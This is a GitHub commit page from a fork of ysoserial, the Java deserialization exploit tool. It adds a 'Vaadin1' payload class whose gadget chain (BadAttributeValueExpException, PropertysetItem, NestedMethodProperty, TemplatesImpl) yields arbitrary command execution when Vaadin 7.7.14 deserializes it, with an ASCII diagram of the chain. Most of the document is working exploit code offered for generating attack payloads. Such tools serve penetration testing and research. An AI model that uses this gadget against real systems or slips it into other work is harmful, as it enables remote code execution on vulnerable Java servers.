forked from frohoff/ysoserial
-
Notifications
You must be signed in to change notification settings - Fork 16
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request frohoff#91 from supersache/vaadingadget
Vaadin gadget
- Loading branch information
Showing
3 changed files
with
88 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
package ysoserial.payloads; | ||
|
||
import javax.management.BadAttributeValueExpException; | ||
|
||
import com.vaadin.data.util.NestedMethodProperty; | ||
import com.vaadin.data.util.PropertysetItem; | ||
|
||
import ysoserial.payloads.annotation.Authors; | ||
import ysoserial.payloads.annotation.Dependencies; | ||
import ysoserial.payloads.annotation.PayloadTest; | ||
import ysoserial.payloads.util.Gadgets; | ||
import ysoserial.payloads.util.JavaVersion; | ||
import ysoserial.payloads.util.PayloadRunner; | ||
import ysoserial.payloads.util.Reflections; | ||
|
||
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) | ||
@PayloadTest ( precondition = "isApplicableJavaVersion") | ||
@Authors({ Authors.KULLRICH }) | ||
public class Vaadin1 implements ObjectPayload<Object> | ||
{ | ||
// +-------------------------------------------------+ | ||
// | | | ||
// | BadAttributeValueExpException | | ||
// | | | ||
// | val ==> PropertysetItem | | ||
// | | | ||
// | readObject() ==> val.toString() | | ||
// | + | | ||
// +----------|--------------------------------------+ | ||
// | | ||
// | | ||
// | | ||
// +----|-----------------------------------------+ | ||
// | v | | ||
// | PropertysetItem | | ||
// | | | ||
// | toString () => getPropertyId().getValue () | | ||
// | + | | ||
// +---------------------------------------|------+ | ||
// | | ||
// +-----------------------------+ | ||
// | | ||
// +-----|----------------------------------------------+ | ||
// | v | | ||
// | NestedMethodProperty | | ||
// | | | ||
// | getValue() => java.lang.reflect.Method.invoke () | | ||
// | | | | ||
// +-------------------------------------------|--------+ | ||
// | | ||
// +-----------------------------------+ | ||
// | | ||
// +---|--------------------------------------------+ | ||
// | v | | ||
// | TemplatesImpl.getOutputProperties() | | ||
// | | | ||
// +------------------------------------------------+ | ||
|
||
@Override | ||
public Object getObject (String command) throws Exception | ||
{ | ||
Object templ = Gadgets.createTemplatesImpl (command); | ||
PropertysetItem pItem = new PropertysetItem (); | ||
|
||
NestedMethodProperty<Object> nmprop = new NestedMethodProperty<Object> (templ, "outputProperties"); | ||
pItem.addItemProperty ("outputProperties", nmprop); | ||
|
||
BadAttributeValueExpException b = new BadAttributeValueExpException (""); | ||
Reflections.setFieldValue (b, "val", pItem); | ||
|
||
return b; | ||
} | ||
|
||
public static boolean isApplicableJavaVersion() { | ||
return JavaVersion.isBadAttrValExcReadObj(); | ||
} | ||
|
||
public static void main(final String[] args) throws Exception { | ||
PayloadRunner.run(Vaadin1.class, args); | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters